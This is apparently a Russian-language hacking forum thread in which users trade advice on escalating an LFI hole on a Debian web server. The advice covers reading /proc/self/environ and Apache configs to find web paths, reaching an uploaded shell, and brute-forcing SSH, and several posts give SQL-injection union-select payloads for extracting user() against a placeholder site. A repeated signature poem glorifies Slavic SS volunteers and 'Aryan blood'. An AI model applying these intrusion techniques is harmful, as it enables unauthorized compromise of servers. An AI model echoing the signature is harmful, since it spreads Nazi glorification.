Столкнулся с проблемой:

1) Есть 2 сервера, которые как-то слинкованы между собой - т.е. с одного можно читать файлы другого и наоборот.

2) Найдена функция позволяющая читать содержимое файла и вот хз, что это. Скорее всего релинковка через htaccess

3) Добрался до конфигов, кроме httpd, логи же вообще читать не позволяет, хотя установил место-положение.

4) Пути до 2 сервера не могу найти ну вообще никак - логический перебор названий ни к чему не привел, при этом раскрытия путей точно нет. Читать из веба файлы он отказывается, что делать?

5) Файлы судя по всему хранятся не по тому адресу, что показываются - как результат напрямую запросить залитый шелл не могу, и логический перебор опять же не помог.

Что можно сделать? Куда копать? Имеет ли смысл вообще раскручивать этот способ или браться за поиск других ошибок?

PS /proc/sys/ и етк спокойно читаются.

PS это дебиан -_-

посимвольно,через вывод ошибок...

__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.

http://www.site.ru/id.php?id=-1110+union+select+1,2,3,4,5+--+

http://www.site.ru/id.php?id=-1110+union+select+1,2,3,4,user()+--+

Как боротся?

Собственно интересно как можно оказаться воздействие на переменные окружения при:

APACHE_PID_FILE=/var/run/apache2.pid

APACHE_RUN_USER=www-data

PATH=/usr/local/bin:/usr/bin:/bin

PWD=/

APACHE_RUN_GROUP=www-data

LANG=C

SHLVL=1

_=/usr/sbin/apache2

Pirotexnik

aes_decrypt(aes_encrypt(user()))

RuDefc0n

там нету переменных окружения. следовательно никак не можете. если я правильно понял у вас LFI с /proc/self/environ

http://www.site.ru/id.php?id=-1110+union+select+1,2,3,4,unhex(hex(user()))+--+

__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.

По сути полноценный lfi, только вот он читает файлы, а не запускает. Логи почитать не дает + реальный путь никак не вытащить до папки, где нахожусь - разве что перебором, но нативный логический перебор не помог.

Кучу конфигов уже перечитал. Судя по всему конкретно в той папке откуда обычно читает не исполняются файлы. Пока из всего только остается брутить ssh, но это наркоманство.

по информации из environ видно что там наверняка дебиан бейсд дистро какой то (debian/ubuntu), пробовал читать /etc/apache2/conf/apache2.conf ? там спалишь пути к htdocs, а дальше читаем скрипты..

Что-то я не врубился О_0

-1110+union+select+1,2,3,4,aes_decrypt(aes_encrypt( user()))+--+

-1110+union+select+1,2,3,4,unhex(hex(user()))+--+

Что за?